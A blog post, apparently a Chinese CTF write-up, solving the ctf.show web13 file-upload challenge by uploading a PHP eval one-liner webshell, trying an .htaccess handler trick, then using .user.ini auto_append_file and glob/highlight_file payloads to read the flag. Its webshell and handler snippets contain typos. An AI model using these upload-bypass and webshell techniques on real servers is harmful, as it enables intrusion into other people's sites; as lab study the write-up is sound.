Loading

ctf.show_web13(文件上传之.user.ini)

 

这是一道文件上传题,先二话不说丢个图片码,显示为

先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大。将一句话木马修改为:

<?php eval($POST['w'];

文件大小上传成功,但是修改文件尾缀,无论是大小写变换还是解析漏洞,以及PHP1-9,phtml,都不大行。考虑正则匹配过滤了php

考虑配置文件。

先考虑.htaccess:

<FilesMatch "a.txt">
SetHandler application/x-httpd-php
</FilsMatch>

内容依旧是error file zise,通过查看WP,学习到新的用法:

.user.ini

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

.htaccess是伪静态环境配置文件,用于lamp。 .user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取. 配置 放在根目录 .user.ini

两个PHP方法:

auto_prepend_file:在页面顶部加载文件

auto_append_file:在页面底部加载文件

auto_append_file=a.txt

上传点.user.ini,这时候任何一个PHP文件都可以使用菜刀连接,但是连接上去后啥也没有。

使用print_r(glob("*"));可以查看当前目录下所有文件

然后使用highlight_file函数,用字符串形式返回php文件的内容

w=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

夺取flag.

posted @ 2021-02-23 09:49  nliuc  阅读(1029)  评论(0编辑  收藏  举报